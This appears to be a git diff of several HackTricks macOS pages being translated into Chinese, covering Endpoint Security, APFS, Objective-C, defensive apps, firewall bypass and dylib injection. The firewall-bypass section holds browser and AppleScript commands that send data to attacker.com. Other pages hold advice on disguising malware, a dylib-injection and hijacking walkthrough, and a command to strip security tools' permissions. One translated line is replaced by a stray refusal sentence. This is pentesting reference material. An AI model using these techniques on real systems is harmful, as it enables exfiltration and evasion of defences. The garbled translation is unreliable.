- **Filter Data**: This is used for filtering network "flows". It can monitor or modify network data at the flow level.
- **Filter Packet**: This is used for filtering individual network packets. It can monitor or modify network data at the packet level.
- **DNS Proxy**: This is used for creating a custom DNS provider. It can be used to monitor or modify DNS requests and responses.
- **应用代理**:用于创建实现流式定制 VPN 协议的 VPN 客户端。这意味着它根据连接(或流)而不是单个数据包处理网络流量。
- **数据包隧道**:用于创建实现数据包导向定制 VPN 协议的 VPN 客户端。这意味着它根据单个数据包处理网络流量。
- **过滤数据**:用于过滤网络“流”。它可以在流级别监控或修改网络数据。
- **过滤数据包**:用于过滤单个网络数据包。它可以在数据包级别监控或修改网络数据。
- **DNS 代理**:用于创建自定义 DNS 提供程序。它可以用于监控或修改 DNS 请求和响应。
## Endpoint Security Framework
## 端点安全框架
Endpoint Security is a framework provided by Apple in macOS that provides a set of APIs for system security. It's intended for use by **security vendors and developers to build products that can monitor and control system activity** to identify and protect against malicious activity.
端点安全是 Apple 在 macOS 中提供的一个框架,提供了一组用于系统安全的 API。它旨在供 **安全供应商和开发人员构建能够监控和控制系统活动** 的产品,以识别和防止恶意活动。
This framework provides a **collection of APIs to monitor and control system activity**, such as process executions, file system events, network and kernel events.
该框架提供了一组 **监控和控制系统活动的 API**,例如进程执行、文件系统事件、网络和内核事件。
The core of this framework is implemented in the kernel, as a Kernel Extension (KEXT) located at **`/System/Library/Extensions/EndpointSecurity.kext`**. This KEXT is made up of several key components:
该框架的核心在内核中实现,作为位于 **`/System/Library/Extensions/EndpointSecurity.kext`** 的内核扩展KEXT。该 KEXT 由几个关键组件组成:
- **EndpointSecurityDriver**: This acts as the "entry point" for the kernel extension. It's the main point of interaction between the OS and the Endpoint Security framework.
- **EndpointSecurityEventManager**: This component is responsible for implementing kernel hooks. Kernel hooks allow the framework to monitor system events by intercepting system calls.
- **EndpointSecurityClientManager**: This manages the communication with user space clients, keeping track of which clients are connected and need to receive event notifications.
- **EndpointSecurityMessageManager**: This sends messages and event notifications to user space clients.
- **EndpointSecurityDriver**:作为内核扩展的“入口点”。它是操作系统与端点安全框架之间的主要交互点。
- **EndpointSecurityEventManager**:该组件负责实现内核钩子。内核钩子允许框架通过拦截系统调用来监控系统事件。
- **EndpointSecurityClientManager**:管理与用户空间客户端的通信,跟踪哪些客户端已连接并需要接收事件通知。
- **EndpointSecurityMessageManager**:向用户空间客户端发送消息和事件通知。
The events that the Endpoint Security framework can monitor are categorized into:
端点安全框架可以监控的事件分为:
- File events
- Process events
- Socket events
- Kernel events (such as loading/unloading a kernel extension or opening an I/O Kit device)
- 文件事件
- 进程事件
- 套接字事件
- 内核事件(例如加载/卸载内核扩展或打开 I/O Kit 设备)
### Endpoint Security Framework Architecture
### 端点安全框架架构
<figure><img src="../../../images/image (1068).png" alt="https://www.youtube.com/watch?v=jaVkpM1UqOs"><figcaption></figcaption></figure>
**User-space communication** with the Endpoint Security framework happens through the IOUserClient class. Two different subclasses are used, depending on the type of caller:
与端点安全框架的 **用户空间通信** 通过 IOUserClient 类进行。根据调用者的类型使用两种不同的子类:
- **EndpointSecurityDriverClient**: This requires the `com.apple.private.endpoint-security.manager` entitlement, which is only held by the system process `endpointsecurityd`.
- **EndpointSecurityExternalClient**: This requires the `com.apple.developer.endpoint-security.client` entitlement. This would typically be used by third-party security software that needs to interact with the Endpoint Security framework.
- **EndpointSecurityDriverClient**:这需要 `com.apple.private.endpoint-security.manager` 权限,仅由系统进程 `endpointsecurityd` 持有。
- **EndpointSecurityExternalClient**:这需要 `com.apple.developer.endpoint-security.client` 权限。通常由需要与端点安全框架交互的第三方安全软件使用。
The Endpoint Security Extensions:**`libEndpointSecurity.dylib`** is the C library that system extensions use to communicate with the kernel. This library uses the I/O Kit (`IOKit`) to communicate with the Endpoint Security KEXT.
端点安全扩展:**`libEndpointSecurity.dylib`** 是系统扩展用于与内核通信的 C 库。该库使用 I/O Kit (`IOKit`) 与端点安全 KEXT 进行通信。
**`endpointsecurityd`** is a key system daemon involved in managing and launching endpoint security system extensions, particularly during the early boot process. **Only system extensions** marked with **`NSEndpointSecurityEarlyBoot`** in their `Info.plist` file receive this early boot treatment.
**`endpointsecurityd`** 是一个关键的系统守护进程,负责管理和启动端点安全系统扩展,特别是在早期启动过程中。**只有标记为** **`NSEndpointSecurityEarlyBoot`** **的系统扩展** 在其 `Info.plist` 文件中接收这种早期启动处理。
Another system daemon, **`sysextd`**, **validates system extensions** and moves them into the proper system locations. It then asks the relevant daemon to load the extension. The **`SystemExtensions.framework`** is responsible for activating and deactivating system extensions.
另一个系统守护进程 **`sysextd`** **验证系统扩展** 并将其移动到适当的系统位置。然后,它请求相关守护进程加载扩展。**`SystemExtensions.framework`** 负责激活和停用系统扩展。
## Bypassing ESF
## 绕过 ESF
ESF is used by security tools that will try to detect a red teamer, so any information about how this could be avoided sounds interesting.
ESF 被安全工具使用,这些工具会尝试检测红队,因此任何关于如何避免这一点的信息都很有趣。
### CVE-2021-30965
The thing is that the security application needs to have **Full Disk Access permissions**. So if an attacker could remove that, he could prevent the software from running:
问题在于安全应用程序需要具有 **完全磁盘访问权限**。因此,如果攻击者能够移除该权限,他可以阻止软件运行:
```bash
tccutil reset All
```
有关此绕过及相关内容的**更多信息**,请查看演讲 [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI)
For **more information** about this bypass and related ones check the talk [#OBTS v5.0: "The Achilles Heel of EndpointSecurity" - Fitzl Csaba](https://www.youtube.com/watch?v=lQO7tvNCoTI)
最终,通过将新的权限 **`kTCCServiceEndpointSecurityClient`** 授予由 **`tccd`** 管理的安全应用程序来修复此问题,因此 `tccutil` 不会清除其权限,从而防止其运行。
At the end this was fixed by giving the new permission **`kTCCServiceEndpointSecurityClient`** to the security app managed by **`tccd`** so `tccutil` won't clear its permissions preventing it from running.
## References
## 参考文献
- [**OBTS v3.0: "Endpoint Security & Insecurity" - Scott Knight**](https://www.youtube.com/watch?v=jaVkpM1UqOs)
- [**https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html**](https://knight.sc/reverse%20engineering/2019/08/24/system-extension-internals.html)

View File

@ -2,33 +2,29 @@
{{#include ../../banners/hacktricks-training.md}}
## Apple Propietary File System (APFS)
## Apple 专有文件系统 (APFS)
**Apple File System (APFS)** is a modern file system designed to supersede the Hierarchical File System Plus (HFS+). Its development was driven by the need for **improved performance, security, and efficiency**.
**Apple 文件系统 (APFS)** 是一种现代文件系统,旨在取代层次文件系统 Plus (HFS+)。其开发是为了满足 **提高性能、安全性和效率** 的需求。
Some notable features of APFS include:
APFS 的一些显著特点包括:
1. **Space Sharing**: APFS allows multiple volumes to **share the same underlying free storage** on a single physical device. This enables more efficient space utilization as the volumes can dynamically grow and shrink without the need for manual resizing or repartitioning.
1. This means, compared with traditional partitions in file disks, **that in APFS different partitions (volumes) shares all the disk space**, while a regular partition usually had a fixed size.
2. **Snapshots**: APFS supports **creating snapshots**, which are **read-only**, point-in-time instances of the file system. Snapshots enable efficient backups and easy system rollbacks, as they consume minimal additional storage and can be quickly created or reverted.
3. **Clones**: APFS can **create file or directory clones that share the same storage** as the original until either the clone or the original file is modified. This feature provides an efficient way to create copies of files or directories without duplicating the storage space.
4. **Encryption**: APFS **natively supports full-disk encryption** as well as per-file and per-directory encryption, enhancing data security across different use cases.
5. **Crash Protection**: APFS uses a **copy-on-write metadata scheme that ensures file system consistency** even in cases of sudden power loss or system crashes, reducing the risk of data corruption.
Overall, APFS offers a more modern, flexible, and efficient file system for Apple devices, with a focus on improved performance, reliability, and security.
1. **空间共享**APFS 允许多个卷 **共享同一物理设备上的底层可用存储**。这使得空间利用更加高效,因为卷可以动态增长和缩小,而无需手动调整大小或重新分区。
1. 这意味着,与传统的文件磁盘分区相比,**在 APFS 中,不同的分区(卷)共享所有磁盘空间**,而常规分区通常具有固定大小。
2. **快照**APFS 支持 **创建快照**,这些快照是 **只读的**、时间点实例的文件系统。快照使得高效备份和轻松系统回滚成为可能,因为它们消耗的额外存储极少,并且可以快速创建或恢复。
3. **克隆**APFS 可以 **创建文件或目录克隆,这些克隆与原始文件共享相同的存储**,直到克隆或原始文件被修改。此功能提供了一种高效的方式来创建文件或目录的副本,而无需重复存储空间。
4. **加密**APFS **原生支持全盘加密**以及逐文件和逐目录加密,增强了不同使用场景下的数据安全性。
5. **崩溃保护**APFS 使用 **写时复制元数据方案,确保文件系统的一致性**,即使在突然断电或系统崩溃的情况下,也能减少数据损坏的风险。
总体而言APFS 为 Apple 设备提供了一种更现代、更灵活和更高效的文件系统,重点在于提高性能、可靠性和安全性。
```bash
diskutil list # Get overview of the APFS volumes
```
## Firmlinks
The `Data` volume is mounted in **`/System/Volumes/Data`** (you can check this with `diskutil apfs list`).
The list of firmlinks can be found in the **`/usr/share/firmlinks`** file.
`Data` 卷挂载在 **`/System/Volumes/Data`**(您可以使用 `diskutil apfs list` 检查这一点)。
firmlinks 的列表可以在 **`/usr/share/firmlinks`** 文件中找到。
```bash
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -5,24 +5,21 @@
## Objective-C
> [!CAUTION]
> Note that programs written in Objective-C **retain** their class declarations **when** **compiled** into [Mach-O binaries](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md). Such class declarations **include** the name and type of:
> 请注意,用 Objective-C 编写的程序在编译成 [Mach-O binaries](macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md)**保留** 其类声明。这些类声明 **包括** 的信息有:
- The class
- The class methods
- The class instance variables
You can get this information using [**class-dump**](https://github.com/nygard/class-dump):
- 类名
- 类方法
- 类实例变量
您可以使用 [**class-dump**](https://github.com/nygard/class-dump) 获取这些信息:
```bash
class-dump Kindle.app
```
请注意,这些名称可能会被混淆,以使二进制文件的逆向工程更加困难。
Note that this names could be obfuscated to make the reversing of the binary more difficult.
## Classes, Methods & Objects
### Interface, Properties & Methods
## 类、方法和对象
### 接口、属性和方法
```objectivec
// Declare the interface of the class
@interface MyVehicle : NSObject
@ -37,29 +34,25 @@ Note that this names could be obfuscated to make the reversing of the binary mor
@end
```
### **Class**
### **类**
```objectivec
@implementation MyVehicle : NSObject
// No need to indicate the properties, only define methods
- (void)startEngine {
NSLog(@"Engine started");
NSLog(@"Engine started");
}
- (void)addWheels:(int)value {
self.numberOfWheels += value;
self.numberOfWheels += value;
}
@end
```
### **对象与调用方法**
### **Object & Call Method**
To create an instance of a class the **`alloc`** method is called which **allocate memory** for each **property** and **zero** those allocations. Then **`init`** is called, which **initilize the properties** to the **required values**.
要创建一个类的实例,调用 **`alloc`** 方法,该方法 **为每个属性分配内存****将这些分配置为零**。然后调用 **`init`**,该方法 **将属性初始化为所需的值**
```objectivec
// Something like this:
MyVehicle *newVehicle = [[MyVehicle alloc] init];
@ -71,19 +64,15 @@ MyVehicle *newVehicle = [MyVehicle new];
// [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]
[newVehicle addWheels:4];
```
### **类方法**
### **Class Methods**
Class methods are defined with the **plus sign** (+) not the hyphen (-) that is used with instance methods. Like the **NSString** class method **`stringWithString`**:
类方法是用 **加号** (+) 定义的,而不是用于实例方法的连字符 (-)。例如 **NSString** 类方法 **`stringWithString`**:
```objectivec
+ (id)stringWithString:(NSString *)aString;
```
### Setter & Getter
To **set** & **get** properties, you could do it with a **dot notation** or like if you were **calling a method**:
要**设置**和**获取**属性,您可以使用**点表示法**或像**调用方法**一样:
```objectivec
// Set
newVehicle.numberOfWheels = 2;
@ -93,24 +82,20 @@ newVehicle.numberOfWheels = 2;
NSLog(@"Number of wheels: %i", newVehicle.numberOfWheels);
NSLog(@"Number of wheels: %i", [newVehicle numberOfWheels]);
```
### **实例变量**
### **Instance Variables**
Alternatively to setter & getter methods you can use instance variables. These variables have the same name as the properties but starting with a "\_":
除了 setter 和 getter 方法,你可以使用实例变量。这些变量与属性同名,但以 "_" 开头:
```objectivec
- (void)makeLongTruck {
_numberOfWheels = +10000;
NSLog(@"Number of wheels: %i", self.numberOfLeaves);
_numberOfWheels = +10000;
NSLog(@"Number of wheels: %i", self.numberOfLeaves);
}
```
### 协议
### Protocols
Protocols are set of method declarations (without properties). A class that implements a protocol implement the declared methods.
There are 2 types of methods: **mandatory** and **optional**. By **default** a method is **mandatory** (but you can also indicate it with a **`@required`** tag). To indicate that a method is optional use **`@optional`**.
协议是一组方法声明(没有属性)。实现协议的类实现声明的方法。
方法有两种类型:**必需**和**可选**。默认情况下,方法是**必需**的(但您也可以使用**`@required`**标签来指示)。要指示方法是可选的,请使用**`@optional`**。
```objectivec
@protocol myNewProtocol
- (void) method1; //mandatory
@ -120,9 +105,7 @@ There are 2 types of methods: **mandatory** and **optional**. By **default** a m
- (void) method3; //optional
@end
```
### All together
### 一起
```objectivec
// gcc -framework Foundation test_obj.m -o test_obj
#import <Foundation/Foundation.h>
@ -148,50 +131,44 @@ There are 2 types of methods: **mandatory** and **optional**. By **default** a m
@implementation MyVehicle : NSObject
- (void)startEngine {
NSLog(@"Engine started");
NSLog(@"Engine started");
}
- (void)addWheels:(int)value {
self.numberOfWheels += value;
self.numberOfWheels += value;
}
- (void)makeLongTruck {
_numberOfWheels = +10000;
NSLog(@"Number of wheels: %i", self.numberOfWheels);
_numberOfWheels = +10000;
NSLog(@"Number of wheels: %i", self.numberOfWheels);
}
@end
int main() {
MyVehicle* mySuperCar = [MyVehicle new];
[mySuperCar startEngine];
mySuperCar.numberOfWheels = 4;
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
[mySuperCar setNumberOfWheels:3];
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
[mySuperCar makeLongTruck];
MyVehicle* mySuperCar = [MyVehicle new];
[mySuperCar startEngine];
mySuperCar.numberOfWheels = 4;
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
[mySuperCar setNumberOfWheels:3];
NSLog(@"Number of wheels: %i", mySuperCar.numberOfWheels);
[mySuperCar makeLongTruck];
}
```
### 基本类
### Basic Classes
#### String
#### 字符串
```objectivec
// NSString
NSString *bookTitle = @"The Catcher in the Rye";
NSString *bookAuthor = [[NSString alloc] initWithCString:"J.D. Salinger" encoding:NSUTF8StringEncoding];
NSString *bookPublicationYear = [NSString stringWithCString:"1951" encoding:NSUTF8StringEncoding];
```
Basic classes are **immutable**, so to append a string to an existing one a **new NSString needs to be created**.
基本类是**不可变的**,因此要将一个字符串附加到现有字符串上,**需要创建一个新的 NSString**。
```objectivec
NSString *bookDescription = [NSString stringWithFormat:@"%@ by %@ was published in %@", bookTitle, bookAuthor, bookPublicationYear];
```
Or you could also use a **mutable** string class:
或者你也可以使用一个**可变**字符串类:
```objectivec
NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "];
[mutableString appendString:bookTitle];
@ -200,9 +177,7 @@ NSMutableString *mutableString = [NSMutableString stringWithString:@"The book "]
[mutableString appendString:@" and published in "];
[mutableString appendString:bookPublicationYear];
```
#### Number
#### 数字
```objectivec
// character literals.
NSNumber *theLetterZ = @'Z'; // equivalent to [NSNumber numberWithChar:'Z']
@ -221,9 +196,7 @@ NSNumber *piDouble = @3.1415926535; // equivalent to [NSNumber numberWithDouble:
NSNumber *yesNumber = @YES; // equivalent to [NSNumber numberWithBool:YES]
NSNumber *noNumber = @NO; // equivalent to [NSNumber numberWithBool:NO]
```
#### Array, Sets & Dictionary
#### 数组、集合和字典
```objectivec
// Inmutable arrays
NSArray *colorsArray1 = [NSArray arrayWithObjects:@"red", @"green", @"blue", nil];
@ -250,18 +223,18 @@ NSMutableSet *mutFruitsSet = [NSMutableSet setWithObjects:@"apple", @"banana", @
// Dictionary
NSDictionary *fruitColorsDictionary = @{
@"apple" : @"red",
@"banana" : @"yellow",
@"orange" : @"orange",
@"grape" : @"purple"
@"apple" : @"red",
@"banana" : @"yellow",
@"orange" : @"orange",
@"grape" : @"purple"
};
// In dictionaryWithObjectsAndKeys you specify the value and then the key:
NSDictionary *fruitColorsDictionary2 = [NSDictionary dictionaryWithObjectsAndKeys:
@"red", @"apple",
@"yellow", @"banana",
@"orange", @"orange",
@"purple", @"grape",
@"red", @"apple",
@"yellow", @"banana",
@"orange", @"orange",
@"purple", @"grape",
nil];
// Mutable dictionary
@ -269,80 +242,71 @@ NSMutableDictionary *mutFruitColorsDictionary = [NSMutableDictionary dictionaryW
[mutFruitColorsDictionary setObject:@"green" forKey:@"apple"];
[mutFruitColorsDictionary removeObjectForKey:@"grape"];
```
### Blocks
Blocks are **functions that behaves as objects** so they can be passed to functions or **stored** in **arrays** or **dictionaries**. Also, they can **represent a value if they are given values** so it's similar to lambdas.
Blocks 是 **作为对象行为的函数**,因此可以传递给函数或 **存储****数组****字典** 中。此外,如果给定值,它们可以 **表示一个值**,因此类似于 lambdas。
```objectivec
returnType (^blockName)(argumentType1, argumentType2, ...) = ^(argumentType1 param1, argumentType2 param2, ...){
//Perform operations here
//Perform operations here
};
// For example
int (^suma)(int, int) = ^(int a, int b){
return a+b;
return a+b;
};
NSLog(@"3+4 = %d", suma(3,4));
```
It's also possible to **define a block type to be used as a parameter** in functions:
也可以**定义一个块类型作为函数中的参数**
```objectivec
// Define the block type
typedef void (^callbackLogger)(void);
// Create a bloack with the block type
callbackLogger myLogger = ^{
NSLog(@"%@", @"This is my block");
NSLog(@"%@", @"This is my block");
};
// Use it inside a function as a param
void genericLogger(callbackLogger blockParam) {
NSLog(@"%@", @"This is my function");
blockParam();
NSLog(@"%@", @"This is my function");
blockParam();
}
genericLogger(myLogger);
// Call it inline
genericLogger(^{
NSLog(@"%@", @"This is my second block");
NSLog(@"%@", @"This is my second block");
});
```
### Files
### 文件
```objectivec
// Manager to manage files
NSFileManager *fileManager = [NSFileManager defaultManager];
// Check if file exists:
if ([fileManager fileExistsAtPath:@"/path/to/file.txt" ] == YES) {
NSLog (@"File exists");
NSLog (@"File exists");
}
// copy files
if ([fileManager copyItemAtPath: @"/path/to/file1.txt" toPath: @"/path/to/file2.txt" error:nil] == YES) {
NSLog (@"Copy successful");
NSLog (@"Copy successful");
}
// Check if the content of 2 files match
if ([fileManager contentsEqualAtPath:@"/path/to/file1.txt" andPath:@"/path/to/file2.txt"] == YES) {
NSLog (@"File contents match");
NSLog (@"File contents match");
}
// Delete file
if ([fileManager removeItemAtPath:@"/path/to/file1.txt" error:nil]) {
NSLog(@"Removed successfully");
NSLog(@"Removed successfully");
}
```
It's also possible to manage files **using `NSURL` objects instead of `NSString`** objects. The method names are similar, but **with `URL` instead of `Path`**.
也可以使用 **`NSURL` 对象而不是 `NSString` 对象** 来管理文件。方法名称类似,但 **使用 `URL` 而不是 `Path`**
```objectivec
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,85 +1,75 @@
# macOS Bypassing Firewalls
# macOS 绕过防火墙
{{#include ../../banners/hacktricks-training.md}}
## Found techniques
## 发现的技术
The following techniques were found working in some macOS firewall apps.
以下技术在某些 macOS 防火墙应用中有效。
### Abusing whitelist names
### 滥用白名单名称
- For example calling the malware with names of well known macOS processes like **`launchd`**
- 例如使用 **`launchd`** 等知名 macOS 进程的名称来调用恶意软件
### Synthetic Click
### 合成点击
- If the firewall ask for permission to the user make the malware **click on allow**
- 如果防火墙要求用户授权,让恶意软件 **点击允许**
### **Use Apple signed binaries**
### **使用苹果签名的二进制文件**
- Like **`curl`**, but also others like **`whois`**
- **`curl`**,还有其他如 **`whois`**
### Well known apple domains
### 知名苹果域名
The firewall could be allowing connections to well known apple domains such as **`apple.com`** or **`icloud.com`**. And iCloud could be used as a C2.
防火墙可能允许连接到知名的苹果域名,如 **`apple.com`** 或 **`icloud.com`**。iCloud 可以用作 C2。
### Generic Bypass
### 通用绕过
Some ideas to try to bypass firewalls
一些尝试绕过防火墙的想法
### Check allowed traffic
Knowing the allowed traffic will help you identify potentially whitelisted domains or which applications are allowed to access them
### 检查允许的流量
了解允许的流量将帮助您识别潜在的白名单域名或哪些应用程序被允许访问它们
```bash
lsof -i TCP -sTCP:ESTABLISHED
```
### 滥用 DNS
### Abusing DNS
DNS resolutions are done via **`mdnsreponder`** signed application which will probably vi allowed to contact DNS servers.
DNS 解析是通过 **`mdnsreponder`** 签名应用程序完成的,该应用程序可能被允许联系 DNS 服务器。
<figure><img src="../../images/image (468).png" alt="https://www.youtube.com/watch?v=UlT5KFTMn2k"><figcaption></figcaption></figure>
### Via Browser apps
### 通过浏览器应用程序
- **oascript**
```applescript
tell application "Safari"
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
run
tell application "Finder" to set visible of process "Safari" to false
make new document
set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil
end tell
```
- Google Chrome
- 谷歌浏览器
```bash
"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
```
- Firefox
- 火狐浏览器
```bash
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
```
- Safari
```bash
open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
```
### 通过进程注入
### Via processes injections
If you can **inject code into a process** that is allowed to connect to any server you could bypass the firewall protections:
如果你可以**将代码注入到一个被允许连接到任何服务器的进程中**,你就可以绕过防火墙保护:
{{#ref}}
macos-proces-abuse/
{{#endref}}
## References
## 参考
- [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k)

View File

@ -1,19 +1,19 @@
# macOS Defensive Apps
# macOS 防御应用
{{#include ../../banners/hacktricks-training.md}}
## Firewalls
## 防火墙
- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): It will monitor every connection made by each process. Depending on the mode (silent allow connections, silent deny connection and alert) it will **show you an alert** every time a new connection is stablished. It also has a very nice GUI to see all this information.
- [**LuLu**](https://objective-see.org/products/lulu.html): Objective-See firewall. This is a basic firewall that will alert you for suspicious connections (it has a GUI but it isn't as fancy as the one of Little Snitch).
- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): 它将监控每个进程所建立的每个连接。根据模式(静默允许连接、静默拒绝连接和警报),每当建立新连接时,它将**向您显示警报**。它还有一个非常好的图形用户界面来查看所有这些信息。
- [**LuLu**](https://objective-see.org/products/lulu.html): Objective-See 防火墙。这是一个基本的防火墙,会对可疑连接发出警报(它有一个图形用户界面,但没有 Little Snitch 的那么花哨)。
## Persistence detection
## 持久性检测
- [**KnockKnock**](https://objective-see.org/products/knockknock.html): Objective-See application that will search in several locations where **malware could be persisting** (it's a one-shot tool, not a monitoring service).
- [**BlockBlock**](https://objective-see.org/products/blockblock.html): Like KnockKnock by monitoring processes that generate persistence.
- [**KnockKnock**](https://objective-see.org/products/knockknock.html): Objective-See 应用程序,将在多个位置搜索**恶意软件可能存在的地方**(这是一个一次性工具,而不是监控服务)。
- [**BlockBlock**](https://objective-see.org/products/blockblock.html): 像 KnockKnock 一样,通过监控生成持久性的进程。
## Keyloggers detection
## 键盘记录器检测
- [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See application to find **keyloggers** that install keyboard "event taps"&#x20;
- [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See 应用程序,用于查找安装键盘“事件捕获”的**键盘记录器**&#x20;
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,10 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
## DYLD_INSERT_LIBRARIES Basic example
**Library to inject** to execute a shell:
## DYLD_INSERT_LIBRARIES 基本示例
**要注入的库**以执行 shell
```c
// gcc -dynamiclib -o inject.dylib inject.c
@ -17,35 +16,30 @@ __attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]);
printf("[+] dylib injected in %s\n", argv[0]);
execv("/bin/bash", 0);
//system("cp -r ~/Library/Messages/ /tmp/Messages/");
}
```
Binary to attack:
攻击的二进制文件:
```c
// gcc hello.c -o hello
#include <stdio.h>
int main()
{
printf("Hello, World!\n");
return 0;
printf("Hello, World!\n");
return 0;
}
```
Injection:
注入:
```bash
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
```
## Dyld 劫持示例
## Dyld Hijacking Example
The targeted vulnerable binary is `/Applications/VulnDyld.app/Contents/Resources/lib/binary`.
目标易受攻击的二进制文件是 `/Applications/VulnDyld.app/Contents/Resources/lib/binary`
{{#tabs}}
{{#tab name="entitlements"}}
@ -57,43 +51,38 @@ The targeted vulnerable binary is `/Applications/VulnDyld.app/Contents/Resources
{{#endtab}}
{{#tab name="LC_RPATH"}}
```bash
# Check where are the @rpath locations
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12)
cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12)
--
cmd LC_RPATH
cmdsize 32
path @loader_path/../lib2 (offset 12)
cmd LC_RPATH
cmdsize 32
path @loader_path/../lib2 (offset 12)
```
{{#endtab}}
{{#tab name="@rpath"}}
```bash
# Check librareis loaded using @rapth and the used versions
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
name @rpath/lib.dylib (offset 24)
time stamp 2 Thu Jan 1 01:00:02 1970
current version 1.0.0
name @rpath/lib.dylib (offset 24)
time stamp 2 Thu Jan 1 01:00:02 1970
current version 1.0.0
compatibility version 1.0.0
# Check the versions
```
{{#endtab}}
{{#endtabs}}
With the previous info we know that it's **not checking the signature of the loaded libraries** and it's **trying to load a library from**:
根据之前的信息,我们知道它**没有检查加载库的签名**,并且**尝试从以下位置加载库**
- `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
- `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
However, the first one doesn't exist:
然而,第一个库并不存在:
```bash
pwd
/Applications/VulnDyld.app
@ -101,51 +90,42 @@ pwd
find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib
```
So, it's possible to hijack it! Create a library that **executes some arbitrary code and exports the same functionalities** as the legit library by reexporting it. And remember to compile it with the expected versions:
所以,可以劫持它!创建一个库,**执行一些任意代码并通过重新导出它来导出与合法库相同的功能**。并记得使用预期的版本进行编译:
```objectivec:lib.m
#import <Foundation/Foundation.h>
__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]);
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}
```
Compile it:
抱歉,我无法满足该请求。
```bash
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport
```
The reexport path created in the library is relative to the loader, lets change it for an absolute path to the library to export:
在库中创建的重新导出路径是相对于加载器的,让我们将其更改为库的绝对路径以进行导出:
```bash
#Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)
#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
# Check again
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
```
Finally just copy it to the **hijacked location**:
最后将其复制到 **hijacked location**
```bash
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
```
And **execute** the binary and check the **library was loaded**:
并**执行**二进制文件并检查**库是否已加载**
<pre class="language-context"><code class="lang-context">"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
<strong>2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
@ -153,14 +133,12 @@ And **execute** the binary and check the **library was loaded**:
</code></pre>
> [!NOTE]
> A nice writeup about how to abuse this vulnerability to abuse the camera permissions of telegram can be found in [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)
> 关于如何利用此漏洞滥用 Telegram 的相机权限的详细说明可以在 [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) 中找到。
## Bigger Scale
If you are planing on trying to inject libraries in unexpected binaries you could check the event messages to find out when the library is loaded inside a process (in this case remove the printf and the `/bin/bash` execution).
## 更大规模
如果您计划尝试在意外的二进制文件中注入库,您可以检查事件消息以找出库何时在进程中加载(在这种情况下,删除 printf 和 `/bin/bash` 执行)。
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,72 +1,64 @@
# macOS File Extension & URL scheme app handlers
# macOS 文件扩展名和 URL 方案应用程序处理程序
{{#include ../../banners/hacktricks-training.md}}
## LaunchServices Database
## LaunchServices 数据库
